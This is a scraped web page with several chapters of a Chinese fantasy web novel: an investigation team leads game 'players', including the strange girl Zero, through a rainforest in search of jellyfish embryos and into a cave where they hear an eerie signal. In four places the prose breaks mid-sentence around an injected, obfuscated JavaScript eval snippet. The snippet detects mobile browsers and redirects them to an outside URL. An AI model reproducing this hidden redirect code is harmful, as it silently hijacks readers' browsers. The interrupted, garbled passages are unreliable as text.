岳燃的声音里听不出一丝疲惫:“我没事,不用担心,你保护好自己。” 郑一念一直都在绝望中,他搀着花臂男,虽然身体跟着大部队前进,但心早就封闭起来了,如果是以前的他,一定会最早看见遥远的前方有几道人影。 直到几声枪响贯穿耳朵,郑一念才如梦初醒。 陈玲欣喜若狂:“老师!是其他人!我们有救了!” 所有人都看到了,那是一支专业的探险队伍,他们统一穿着黑色的风衣制服,带着各种设备,其中两人正端着枪射击,他们身后的生物被射杀了几只,东西掉落到地上的声音从没有这么悦耳过。 正如来时无声无息,它们逃离也是毫无动静,只有鸟雀受惊鸣叫,很快枪声结束,零回头看,树上已经没有任何身影。 终于,他们得救了,一群人狼狈地来到救援队伍面前,岳燃冒着冷汗浑身脱力,陈玲扶着他靠坐在树根旁,花臂男这边也几乎坚持不住了,一靠近营地就跪坐在地上。云怀舟看了一眼就认出了这些人的身份。 领头的是一位二十八九的女人,她身量高挑,气质独特,尽管穿着同款黑色长风衣,但没有人会觉得她和其他人是同一个级别。 “物种与异常调查社,我是林隐。” 她话音刚落,另一道声音在玩家们的耳边响起。 “第一章《带来光与热》已解锁,游戏任务,为流光水母带来生命。” 格外简洁的一句话,没有什么解释,也没有什么情绪传达,但是众人听到后心里都五味杂陈。 无视这个插曲,云怀舟回应了林隐:“林社长你好,刚才多谢你们的救助,我们这里有一位成员被成年陷苔蛛注入了神经毒素,请问贵社是否有陷苔蛛抗毒血清或者广谱的生物毒素抑制剂?” 林隐多看了他一眼,她对身后一位老者说:“陆教授,麻烦你了。” 陆教授打开一个银色金属药箱,他取出一支预灌封注射器,又从恒温层取出一个安瓿瓶,娴熟地掰开并抽吸了里面澄清的药剂。 他看向花臂男这边:“把伤员带过来,暴露伤口。” 花臂男早已呼吸困难,一路上硬撑着,能走到这里都是奇迹,郑一念扶着他起来走到陆教授身边,帮他掀开了衣领,看到那溃烂的皮肤自己心里泛起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127664|196162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了无边后怕。 陆教授先是检查了他颈部的伤口,看见局部组织已经坏死了,随即在花臂男上臂三角肌处进行消毒,完成了肌肉注射,最后感叹:“还是年轻人能抗啊。” 林隐知道了解特殊生物并精准求助对于伤员多么重要,她对云怀舟表示赞许:“你懂得倒是挺多。” 云怀舟很谦逊地以学生自居,他简单地进行了自我介绍,然后礼貌询问:“请问陆教授就是陆守渊教授吗?” 陆教授和蔼地笑了笑,“你猜得不错,我就是陆守渊。” 云怀舟认识这个名字是因为他在教材上经常看到,而且论文文献也经常引用这位教授的著作,可以说只要是历史系和生物系的人就不会不熟悉这个名字,除非他四年都是水过去的。 云怀舟请教他:“教授,请问刚才的生物是什么?目前的记载里好像还没有提到过。” 陆守渊对好学的学生感到很欣慰,他打开了自己的皮革笔记本,上面是他最近几天记录的内容,“这的确是最近在这个烟花雨林发现的新物种,暂命名为林鬼,它们属于哺乳纲,有黑白两种颜色,黑色是雄性,白色是雌性,林鬼的消化系统极为优秀,因此擅长生吞食物。” 云怀舟接着问:“教授,这片烟花雨林位于哪里?是最新复苏的吗?” 陆守渊点了点头,“这里靠近东海,这片烟花雨林也是最近一周内长成的,编号是十三,但根据我们的监测,这片区域并不处于黄金窗口期,所以我申请出城亲自参与调查。” 讲到这里他合上了笔记本,表情严肃许多,“你们也务必当心,靠近东海意味着靠近污染。” 云怀舟大概了解了情况,他真诚地向陆教授道谢,陆守渊主动向他要了联系方式,还问他的导师是谁。 云怀舟说:“我的恩师是文祥秀文教授。” 陆守渊认识文祥秀,他们以前还是同事,后来陆守渊离开了联邦第一大学,选择加入物种与异常调查社,成为了一名调查员。 “你的导师还是像以前一样深耕人类史吗?” 云怀舟的笑容里骄傲与遗憾参半,“是的,但最近恩师已经不再执着于遗失的过去,她正在编撰近十五年来的历史。” 陆守渊点头,“这是好事,人就要朝前看呐。” 林隐看对面几人都差不多缓了过来,她开口道:“这里已经快到东海了,寻常人不会来这里,所以你们几位应该都是玩家吧?我们这里也有一位玩家,所以我大概了解你们的难处,现在大家都简单做个自我介绍,方便后面一起行动。” 林隐已经介绍过了,根据云怀舟的称呼,大家都知道她就是物种与异常调查社的社长,而云怀舟刚才的自我介绍也被大家听到,所以不再重复。 当下第一个做自我介绍的是陆教授,他的声音和本人一样亲和:“我叫陆守渊,今年五十四了,是档案部资深调查员,虽然我隶属档案部,但也喜欢出外勤,游戏里的代号是玩家23。” 这边几人都感到惊讶,零也没有想到对面的玩家竟然会是一位老者。 5. 带来光与热 2 接着刚才射击的两人进行自我介绍,男生叫彭雨,女生叫程橙,都是外勤部资深调查员。他们点头致意时,手仍习惯性地搭在枪套附近,看来还是在戒备着。 零这边是岳燃率先自我介绍:“我叫岳燃,联邦第一公立中学的语文老师,游戏代号举火者。” 跟着是陈玲:“我叫陈玲,是岳老师的学生,目前在读高三,代号是祝福明日者。” 剩下两人的介绍都很简单。 郑一念是自由职业者,代号玩家20。花臂男叫王建,是地下拳击手,代号玩家22。 接着几乎所有人的目光都转到零的身上,她还没有开口,就有人觉得她会是特殊的那个。 “代号零。” 只有三个字,平淡甚至接近漠然的声线,这些都让这个年轻女孩显得神秘。 林隐看起来对零很感兴趣,她笑了笑:“小同学,这太简单了。” 零有点茫然地看了看她,接着又看了看云怀舟,但云怀舟从来不在言语上为她解围,他似乎很尊重零的个人意愿,希望零为自己的想法发声。 于是零只能靠自己,她还没有学会撒谎,说假话也许会带来别的麻烦,但是她也不准备把自己的玩家信息全部念出来,因为其他人都没有说那么多,思来想去,最后她选择了沉默。 但她的沉默没有用,林隐一直笑眯眯地看着她,非常有耐心,像鼓励小朋友回答问题的老师,零最后只好补充了一句:“今年十七岁,喜欢小熊饼干,淤泥跳跳。” 这番略带无厘头气质的发言把大家都逗笑了,气氛变得轻松了几分,林隐也不再“为难”她,她看了看手表,对彭雨和程橙说:“把食物分给他们,休息一个小时,十点半出发,接下来的任务是寻找流光水母。” 零的食物是林隐亲自送过来的,她坐在零身边的树根上,递给了零一片消毒湿巾和一袋补给,里面装着两根高蛋白能量棒,坚果混合包,一管橙色营养胶和一颗维生素片。 林隐说:“这是标准配给,能够提供一天中等活动的能量。” 零用湿巾给手部消毒后,选择了先撕开营养胶,她果然还是对液体更感兴趣。 “我们的食物都添加了微量镇静成分,能够帮助调查员在极端环境保持理性,但我觉得你可能不需要这个。”林隐的话里带着几分调侃。 零觉得可能是自己表现得太冷淡了,所以林隐认为她足够冷静,但是她其实只是还不太适应和人类相处。 人类真的是很复杂,很多变的生物,你对一个人建立的印象可能当天就要被推翻,这种流动变化的感觉让人着迷又让人费解。 零试着让自己看起来像个普通的人类,于是开启了她的问问题模式:“你是社长也要参与调查吗?” 林隐有些意外,这些人里竟然是零对她的在场感到疑惑,当然其他人也可能会私下想这些问题,只是不会问出来罢了。 她的表情变得幽深神秘起来,“这里可能有着常人难以想象的存在。你觉得,不在常规的窗口期,到底是怎样的力量能够让几十平方公里的平地突然变成雨林?” 零认真地思考了,“神明的力量吗?” 林隐不置可否:“这是其中一个可能,十三号烟花雨林虽然是一周前开始形成的,时间看似和游戏错开了,但也正是有了这一周的发育,你们开始游戏时才能见到完整的雨林生态。” 说到这里,她笑了起来,“如果是这样的话,的确很方便进行解释,但问题就变成了,是谁在策划这样无聊的把戏?这其中神参与了多少?说着献给神明的游戏,其实神祂自己也下场当主办方,怎么想都有点滑稽。” 云怀舟就坐在零身边不远处,他此时开口:“林社长,请慎言。” 零看向云怀舟,他虽然在礼貌地微笑,但零能够感觉到他不开心了,这也好理解,因为他是信者,只是零再一次为人类感慨,人类真的很特殊啊,明明代表高兴的笑容却可以在不高兴的时候做出来。 说起来零接收的常识信息里,根本没有什么神明,然而她来到这里才一天,神明这个词语已经在她脑海挥之不去了。这个游戏是献给神明的,云怀舟是神明的信者,危险的烟花雨林也可能是神促成的。 祂……好厉害。 林隐轻松地朝云怀舟瞥去一眼,算是给了个回应以示尊重。她接着问零:“你是新党还是旧党?” 完全不知道这是什么,零担心这个时候提问会暴露信息,于是说:“还没有确定。” 林隐只说了句“新党欢迎你”就不再继续这个话题,在她看来,过度地宣传党派,这和传教有什么区别? 林隐没有忘记最初的话题,她再次提问:“你能猜到另一个可能吗?” 不知不觉,零从提出问题的那个变成了回答问题的那个,她作为新手人类,能够察觉到的就是她正被林隐带着走,这个话题完全由她主导,这种感觉和与云怀舟交谈时不一样。 零正在调动所有脑细胞思考,结合云怀舟和陆教授的对话,她最终有了答案,但也只是一个猜想:“是污染吗?” 林隐轻轻拍了拍零的后脑勺,上面还有她靠在树干时粘上的树皮碎屑和苔藓,这些都被她顺带清理了,“小机灵鬼。” “告诉你一个内行才会知道的定义吧,东海这边出现的污染统称二类污染。十五年前,物种调查社更名为物种与异常调查社,对这边的调查就一直是主要任务之一了。” 这番话信息量有点大,零最想问的还是:“一类污染是什么?” 林隐一副了然的神情,“就知道你会这么问,但这是内部机密。” 零没有失望,毕竟能听到这些消息对她来说已经很意外了,只是她很好奇,“你为什么要告诉我这些?” 林隐说:“看我的眼睛。” 零好奇地去看林隐的眼睛,她以为林隐的眼睛会有什么特殊的地方,但是她没有看出来,反而是林隐把她的眼睛仔细打量了一番,“大概是因为,你的绿眼睛很好看吧。” 零怔了一瞬,她的眼睛为什么会是绿色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127665|196162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的? 林隐笑了出来,“逗你的,你的眼睛是纯正的黑色,比夜空还要黑。” 这真是一个特别的人啊,零这样想。 林隐不再逗零,她说:“好好休息一下,后面有得累的。”然后就从零身边离开了,她要去找调查员说些什么,也是在这个时候,零第一次看清了林隐的身后。 她的长发盘起后用一个三角抓夹固定着,这让她更方便行动,不过最令人在意的是,她背着一把长刀,刀鞘漆黑笔直,看起来有些年头了。 在零的印象里,现代人应该很少会用刀,想到这里她再次感到林隐的特别。 零一个人坐着吃坚果,把目光从林隐身上移开后,她接着打量起周围其他人,岳燃和陈玲在交代什么,郑一念在发呆,王建闭了眼在休息,当她把视线放到云怀舟身上时,云怀舟也正在看着她。 零的眼神过于坦荡直白,云怀舟先移开了视线。 临近出发的时候,陆守渊为大家介绍起流光水母。 “这是一种会散发出幽蓝色和浅紫色光芒的水母,根据以往的调查记载,它们最初是生长在海洋中的,大约是十五年前,也就是‘遗忘症候群’爆发那年,它们从单纯的海生生物进化为海空两栖生物。 “离开海洋的流光水母大部分都生活在近海的森林里,结合游戏的选址,我推测我们所在的这片烟花雨林就有流光水母的浮浪幼虫,它们将自己的生命精华封存在休眠胚珠,等待着再次萌生,但因为这片地区不在黄金窗口期,虽然许多生命复苏了,它们目前还没有苏醒。” 经历过云怀舟的科普,零差不多已经习惯了这种详细如同课堂教学的介绍,并且因为提前了解了这里的生态,所以接受良好,但其余几人对烟花雨林这些概念都基本没有接触过,就算认真听了也多少觉得云里雾里。 尤其是王建,他的生活完全围绕着次城一区展开,至于城外是什么样的,他没有资格接触也没有想过了解,所以他基本没听懂。 但他对救了自己一命的陆守渊很尊敬,比对待他之前认可的岳燃还要礼貌:“陆教授,我没读过书也听不懂这些,您直接说我们要找的东西长什么样,指挥我们行动就成。” 陆守渊点了点头,他也正准备介绍这些,“浮浪幼虫的胚珠,直径约一毫米,即便是胚珠也有成体的特性,能够散发出蓝与紫的光芒。因为流光水母算是比较稀有的品种,能够进化来到陆地,并且恰好沉眠在这片雨林,数量我猜不会太多,初步估计胚珠的数量在十颗左右,且大概率聚集在一起。” 听到这里,许多人的表情都染上了几分悲观。 零也在悄悄地换算,一颗胚珠一毫米,十颗胚珠一厘米,大概是指甲盖大小的面积,就算会发光,在几十平方公里的雨林里,要找到它们也太难了。 云怀舟此时出声:“教授,如果我没有记错,流光水母的浮浪幼虫胚珠会在气温回暖的时候苏醒,既然现在没有苏醒,是不是说明它们所在地区的温度不够,我们根据这个条件去找可行吗?” 6. 带来光与热 3 陆守渊赞许地看向云怀舟,脸上完全是一副孺子可教的表情,“你说得对,我们来这里已经有几天了,也提前派出过无人机搭载红外热成像扫描仪勘测温度,我们可以根据温度分布图去找,虽然几率依旧很小,但至少有了方向。” 陆守渊在便携式工作电脑上快速操作了几下,屏幕上的画面便在空中投影成像。 这是一张由深浅不一的绿色构成的雨林地图,上面标注着等温线,而在其北部,有三个小型冰蓝色区域,其中西北方两处颜色浅,位于东北方的那块地区颜色更深。 “这是经过三天扫描和数据叠加后得到的温度分布图,”陆守渊将图像放大,那冰蓝的光晕在层叠的绿色中显得异常又神秘,“这些是我们目前可以尝试的几个方向。” 岳燃问:“我们是分头寻找,还是一起行动?” 林隐说:“让你们单独离开太危险了,一起行动。说到底也只是赌概率罢了,我们直接去温度最低的东北林区,到达目标附近后再分开寻找。” 对此没有人提出反对意见,大家都准备按照林隐的指示行动,或者说,这种时候有个主心骨带领大家是所有人都乐见的。 十点半,由彭雨和程橙两位资深调查员带队,一行十人开始朝着十三号烟花雨林的东北方向前进。 这支临时组成的队伍里,大部分人都是这两天才第一次见面,再加上现在由专业的调查社成员带领大家,原本可能会交谈的人也变得沉默起来,零也默默地跟在队伍中,降低着自己的存在感。 这次没有人找她说话,整个队伍都闷声前进。 陆守渊估算了出发点和目的地之间的直线距离大约是六公里左右,按照雨林里前行的速度,走过去至少需要三个小时。 最初的两个小时里没有人说话,零观察着所有人,除了时刻警戒的彭雨和程橙,其他人都若有所思,不过不愧是专业队伍,调查员们总能带领大家走在安全的路线,一路上有什么危险也会提前通知大家进行规避。 空气是潮湿的,带着植物的清新和腐烂气味。 安静的途中,偶尔会听到震地蟾发出的低沉鸣叫,零听习惯了这样的声音,它在雨林里响着,就像自己的心脏在身体里闷响。 “原地休息半小时。” 林隐的声音打破了长久的静默,她话音刚落,陈玲就关切地问候起岳燃,岳燃则微笑着安抚陈玲的情绪,他们的关系真好啊…… 零不自觉地又看向云怀舟,云怀舟察觉到她的视线,无害地笑了笑,“连续走了这么久,还吃得消吗?” 零有些纳闷:“我没有吃东西。” 云怀舟愣了一下,笑得更明显了,“换个说法,我的意思是,不要站着聊天了,我们坐下来歇会吧。” 林隐选择的落脚点是一条小溪附近,周围除了最常见的虬曲树根,还有长满青苔的石头,零忍住了也变成青苔融入自然的心情,老老实实地在相对干净的地方坐下。 “我们会成功吗?”零问。 云怀舟抬手擦了擦汗,“会的,我相信陆教授。” 零是第一次作为人类生存,奔跑,长途跋涉,但是她觉得云怀舟看起来比自己还要累,血污已经被擦干净了,那张白皙的脸泛着薄红,看着这张脸,零一时间忘记了对云怀舟体力的揶揄,心里只有一个念头,他挺好看的。 云怀舟指了指自己,“我脸上有东西吗?” 零摇了摇头,但也没有把心里的想法说出来。 三十分钟比想象的要短很多,再次出发前林隐对零这些外行人进行了叮嘱。 “接下来的路途可能就不会这么轻松了,这边的情况瞬息万变,经验并不足以应付所有状况,但你们只需要记住两点,第一,不要掉队,第二,不要擅自行动,保持冷静,发现异常随时汇报。” 这番话让所有人的神经都紧绷起来,她不需要强调可能会遇见什么,只是简单的告诫就足以让人信服。 不过出乎意料的是,直到靠近东北方的低温林区附近,他们都没有遇到危险,一路上遇见的只有雨林里的原生动植物。 陆守渊确认地图后说:“我们已经到达低温区的边缘了,整片区域半径大约四百米,地理环境和其他地方差别不大,温度差明显,正午时候,外围大约是十五至十七摄氏度,核心区域只有五至七摄氏度。” 这无疑宣告着第一阶段的胜利,高度紧绷后的放松就像缓慢放开拉满的弦,终于可以喘口气了。 林隐做出安排:“十个人分成三队,同时从左中右三条路线向前搜寻,中间由我和陆教授带队,左右分别由彭雨程橙带队,你们自己选择跟着谁。” 一时间没有人说话,过了几秒,零听见陈玲小声地对岳燃说:“老师,我想跟着程橙姐。” 于是岳燃出面第一个做出选择:“我和玲玲走右边。” 零回忆着一路上的经历,陈玲和程橙没有交流过一句话,为什么她会选择程橙呢?思考了一会,零得出的结论是,陈玲不是喜欢程橙,而是有些畏惧林隐。 在零想东想西的时候,郑一念和王建也做出了选择,他们决定走左边。 林隐完全不介意自己是被选剩下的,她面向零露出一个自信的微笑,“我们走吧,中间靠近核心区域,找到目标的大概率是我们。” 零点头,跟着踏上了这次搜寻之旅。 云怀舟和林隐似乎因为信仰问题产生了一点矛盾,他同陆教授走得更近,两人在观察周围的同时也交流着一些学术上的问题。 零和林隐算是同样被“剩下”的人,不过零并不排斥和林隐走在一起,她还记得林隐为她拍掉头发上的树皮渣屑,不知道是不是她的错觉,她能感到林隐对她的关注与好感,也正是这份特殊让她也对林隐抱有亲近的想法。 “小同学,你在看哪里?” 零将注意力从树根周围的灌木丛收回,她抬头看向林隐:“我想看看叶子后面会不会有水母的胚珠。” 林隐轻轻地鼓掌,“你的态度值得表扬,但我的建议是,开头这段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127666|196162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路不用太投入,差不多看看就行。” 零显然不能理解,“为什么?” 林隐解释:“根据一般的故事情节发展,重点肯定在最中心的位置,既然这也是一场游戏,那么关卡的终点就应该设计在最大的低温区的核心区域。” 零好像明白了林隐为什么不考虑另外两个低温区,直奔这边而来,但同时她心里又生起了新的疑惑,“那为什么要让大家分开寻找呢?我们一起去核心区域不就好了吗?” 林隐的回答出乎了零的预料:“我看大家聚在一起比较压抑,分开放松一下。” 她用眼神示意零跟上,自己转身向前走去。 零想了想,最后决定相信林隐说的,跟上了她。 如果说“让大家放松”这个回答让零意外,林隐接下来的话更是让她惊讶,“其实上个理由是假的,我只是想和你单独走一会。” 零忍不住发问:“为什么?” 林隐以开玩笑的口吻调侃零:“你真的好像一个小朋友,什么都不懂,什么都好奇。” 虽然林隐只是在开玩笑,但零却听得心惊肉跳,她太不小心了,这样很容易暴露,人类在听到这种话的时候,应该做出什么反应? 应该脸红对吗?可是她完全做不到,她做不到在这么细微的程度控制这副躯体。 回想起来,她的反应真的很不像人类,比起真人,她更像一个呆滞的理性的机器人。 林隐转头看向零,眉眼弯弯,“被我说像小朋友不开心了吗?不要生气啦,你这个年纪对我来说的确是小朋友,我比你大了接近一轮哦,对了,一轮就是十二岁。” 最后的这句补充更是充满调侃意味,不过比起这个,零更在意的是如何顺着林隐的说法继续扮演这个角色。 当然,直到最后零也没有想到什么合适的举动,只能任由自己沉默。 不过林隐并不因此受影响,她继续说出了让零惊讶的话:“其实上面两个理由都可能是假的,真正的原因是试错,不要把鸡蛋放在同一个篮子里,分开行动,如果一方受到影响,其他人更方便独立施救。” 这才是真正的答案吗?零再一次被人类的特殊震撼,林隐的话在零的心里留下余音,回荡得很远很远。 又走了一段,林隐问:“已经渐渐冷起来了,你感觉到了吗?” 这句话不像之前那些话一样语气轻松诙谐,而是带有林隐最常见的认真冷静,零想就是这样的林隐让陈玲有点畏惧吧。 零回答:“我也感觉到了。” 越往前走温度越低,十度的温差体现在体感上,格外明显。 零和林隐一起专注地观察着周围,在绿色的国度里寻找着那一抹可能存在的蓝紫色,因为太过专注于周围,零没有注意到自己的脚下,当她反应过来时,她已经踩空了,整个人失去平衡就要滑倒。 但比摔倒更快到来的是林隐有力的手臂,零被稳稳地搀住了,她心有余悸地看向自己脚下,洞口敞开,那是一个通向地下的洞穴。 7. 带来光与热 4 云怀舟注意到这边的动静,立刻赶了过来,“零,你没事吧?” 零已经退回到洞口外围,她平复了一下激烈的心跳,回答说:“我没事,只是踩空了。” 陆守渊只比云怀舟慢了几秒,他来到这边后立刻观察起这个洞穴,表层的藤蔓苔藓被零踩塌后,林隐进行了简单的清理,露出的洞口不大不小,可以容纳两三人并行。 他打开手电照向里面,坡度大约四五十度,深处有树根遮挡,看不到尽头,整体观测下来没有人工挖掘的痕迹。 在陆守渊对洞口展开调查的时候,林隐已经使用对讲机联系了其余成员:“通讯,中心区域发现一处隐藏洞穴,我们先进行初步探索,程橙队到达后进入与我们汇合,彭雨队留在洞口外戒备接应,接下来保持通讯,如遇极端情况,彭雨以情报为先采取行动。” “收到。”两人异口同声地回复了林隐。 因为左右两队与中心的距离不算太远,林隐将这里的位置以无线电波的形式发送了出去,这样就算没有人留在外面他们也能准确到达。 做完了这些,林隐对零说:“小同学,该说你的运气坏还是好呢?” 零明白她的意思,自己一脚踩到洞穴差点掉进去,但也是因为这一脚发现了正常情况下不会发现的地方。 她这次用心回复了林隐:“希望是好运。” 关于林隐定下的行动方案,零和云怀舟都没有意见,林隐已经将背在背上的刀调整位置固定在了腰侧,当她率先进入洞穴的时候,陆守渊考虑再三还是开口了:“小隐,你留在外面,我们进去就好。” 林隐什么都没说,只是回首给陆守渊留下了一个明媚的笑容,接着她果断地前行带路。 陆守渊无奈地笑了笑,紧跟着进入洞穴,云怀舟等零进入后,自己才进去。 调查社配备的手电性能很好,整个洞穴通道被照得透亮,完全没有因为黑暗中的未知带来不安感。他们先是向下走了一段,盘根错节的树根挡在了前面,不过路并没有被堵死,从较大的空隙处可以通过。 林隐先是透过空隙观察了里面,确认没有异常后,她对身后几人说道:“你们留在这里等我指示。” 零感觉自己和云怀舟也变成调查社的一员了,她已经越来越习惯听从林隐的指挥。 林隐矫捷地穿过空隙到达另一边,简单探查后没有危险,她对几人打了个手势,然后朝对讲机说:“通讯,进入洞穴七米有树根挡道,可以通过。” “收到。” 零一通过这处树根空隙,就察觉到了异样,她的直觉告诉她,这里面有什么东西,它只是存在着,就让零的心脏抽痛,她不知道怎么形容自己的感受,只是呼吸急促起来。 云怀舟进来后看见零的状态不对,他关切地询问:“零,你怎么了?” 听到这话,林隐和陆守渊也回过头来看零,零感受到大家的视线正汇聚在她身上,其他人都没有表现出不适,只有她有反应…… 虽然只有一瞬,但零确实生起了想要隐瞒自己与大家不同的想法。 零如实告知:“我感觉到里面有东西。” 林隐点头,“这说明我们没有找错,里面的确值得探查。不过你能坚持吗?不能的话就到外面去等其他人吧。” 零一直在压制这种感受,这时差不多缓了过来,她对大家说:“没关系,我们继续向前吧。” 这是一个违背本能的选择,她的直觉告诉自己,应该远离让自己不适的地方,但是逃跑有用吗?刚来这里的时候她选择了逃跑,结果只是造成了更大的误会。 所以这一次,她不再逃避,不再相信自己的直觉。 大家尊重了她的决定,带着她继续上路,之后的道路和前面很像,隔一段距离就有树根,很难想象只是一周,这地下已经成为树根的世界。 这个洞穴也越来越宽,最后他们来到了一个空旷的地下区域。 “通讯,第九处树根,可以通过。” “……” 对讲机没有传来回复的声音。 林隐重复了一遍,还是没有反应,最后切换到了备用频道,依旧没有用,对讲机就像坏掉了一样,几乎连设备本身的固有底噪都没有传出。 她放下对讲机,对大家说:“信号中断了。” 陆守渊立刻分析起来:“信号中断一般是四种情况,设备损坏,距离,屏蔽,干扰。首先可以排除设备损坏,距离也可以排除,我们下行深度不超过五十米,水平位移更短,而对讲机在空旷地带的适用范围是五公里,就算雨林环境复杂,一公里内对话也是足够的。” “那么最有可能的就是屏蔽和干扰了。”陆守渊打量着周围的岩壁,原本应该恣意生长的树根竟然像竹编鸟笼一样贴着土石,围出了一个清晰的地界。 他观察着自行编织起来的树根,并且用小刀切割下来一部分进行样本采集,“目前的条件有限,暂时不能直接得知这些树根是否有特殊作用。” 接着他话锋一转:“但我们可以从接收端反推情况,对讲机没有传出任何声音,这看起来很像屏蔽,因为通常的干扰会挤入其他声音,但不能排除强干扰,比如存在某种强大的信号,直接影响了整个接收机运行。” “要区分它们,得看对不同频段的影响是否一致。总之试试调到其他频段,我们可以通过其他频段的反馈来进行推断。” 林隐点头,她开始给对讲机调频,最初尝试的是已知的“干净”频段,这是调查社内部用于紧急联络,极少被占用的加密频段,没有任何反馈。 接着是公共频段,林隐缓慢旋转旋钮,对讲机的接收器扫过民用和救援频道,没有任何反馈。 对讲机所使用到的频段是甚高频及特高频的特定频段,林隐最后都试过了,还是没有任何反馈。 没等大家沮丧,陆守渊及时从背包里取出一台设备,他从容地笑了笑,笑声里又有几分庆幸,“这是全频段侦察接收机,社里只有两台,这次出外勤我申请了一台随身带着,和它相比对讲机就像个路都不会走的小孩,让我来试试这个。” 林隐和云怀舟的表情都隐隐变了,云怀舟的变化更加明显,零注意到了这个,因为她从信号中断开始就完全听不懂他们的对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127667|196162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话了,从那之后她就把目光放到了大家的脸上,看人类的反应其实挺有趣。 此时陆守渊的神情变得专注而严肃,他戴上手套,开机、自检、连接天线,屏幕发出的光打在了他的脸上,他的操作专业又流畅,零把注意力全放到了那个黑色的“小匣子”上。 陆守渊说:“我们从低频开始向上扫。” 极低频、超低频、特低频、甚低频、低频…… 在呼吸都可以听见的寂静中,所有人都目不转睛地关注着这台展现着人类科技的机器,它没有带来什么可喜的讯息。 “接下来是中频到高频了。”陆守渊的声音回荡在这片区域。 甚高频、超高频、特高频…… 零的心跳随着频段升高跳得越来越快。 最后是极高频。 “砰咚、砰咚、砰咚……” 当陆守渊快要调到极高频的某个特定频段时,同时出现了两道声音—— “先暂停!”“不要继续了。” 陆守渊是蹲在地上操作的,他停了下来,抬头看向林隐和云怀舟,轻微皱着眉问:“怎么了?” “砰咚、砰咚、砰咚……” 零听见自己的心跳依旧这么快且有力。 云怀舟松了一口气,他解释:“之后的频段靠近特殊的射电天文频段……” “妈妈——” 他话没有说完,一道微弱的声音直接穿破耳膜刺入人们的听神经。 “砰咚、砰咚、砰。” 林隐以最快的速度关掉了接收机,心跳声戛然而止,那道呼唤也像被放逐进了黑洞,瞬间销声匿迹。 众人此时才惊觉,那竟不是自己的心跳。 零伸手捂上自己心口,已经听不到那急促的心跳声了,但心脏的确是格外快速而有力地搏动着,甚至还是那个频率,砰咚、砰咚…… “陆教授?”云怀舟小心地呼唤着陆守渊。 零和林隐都看向陆守渊,他保持着抬头提问的姿势,像是被定格的照片。 大家心里的不安刚要发酵,陆守渊回过了神,他说:“我没事。” 接着他开始回收接收机,低头,伸手,放置,包装…… 起初他的动作看起来有点卡顿,就像低帧率的视频,随着时间过去,他逐渐恢复了正常的速度,并将重新装好的全频段侦查接收机放进了自己的背包。 但围观他的三个人都陷入了死寂。 林隐还蹲在陆守渊身前,陆守渊起身后朝她伸手,他笑着鼓励:“小隐,你们怎么不说话了?不要被吓到,我们做调查员最重要的就是勇气。” 林隐没有伸手,她抬头仰望陆守渊,最后闭上了双眼,良久沉默。 陆守渊脸色立刻变了,他担心极了,皱眉问:“小隐,你怎么了?” 说完他蹲下把林隐虚揽进怀里,轻拍着她的背安慰她,就像她小时候那样,不过林隐已经长大了,她变得比陆守渊还要高,而且早就不会再哭泣。 在他看不见的角度,林隐的右手按着刀柄,她的声音染上了几分疲惫:“陆教授,你刚才听到了什么?” 8. 带来光与热 5 陆守渊不假思索地回答了:“急促的心跳声和一声‘妈妈’,我推测是有什么被污染的生物,因为正常的未知生物就算能发出极高频的信息,也不会是人类的语言。” 他稍微靠后拉开了和林隐的距离,试着说一些有用的话让林隐振作起来:“虽然目前还不知道是什么生物,但可以得出结论,不是屏蔽,是高能量的干扰让信号中断,接下来我们可以有意识地当心这道声音的发出源。” 林隐紧绷的身体松懈了些许,她扶着陆守渊站了起来,“陆教授,以后不要再用这台接收机了。” 陆守渊没有立刻答应,而是问出了心中疑惑:“你们好像知道了些我不知道的东西,是什么?” 林隐看向了云怀舟,对他的在意也变得更深了,“我只是有一种直觉罢了,具体为什么可能还需要云同学告诉我们。” 云怀舟没有隐瞒的意思,他解释道:“陆教授应该也知道射电天文频段。” 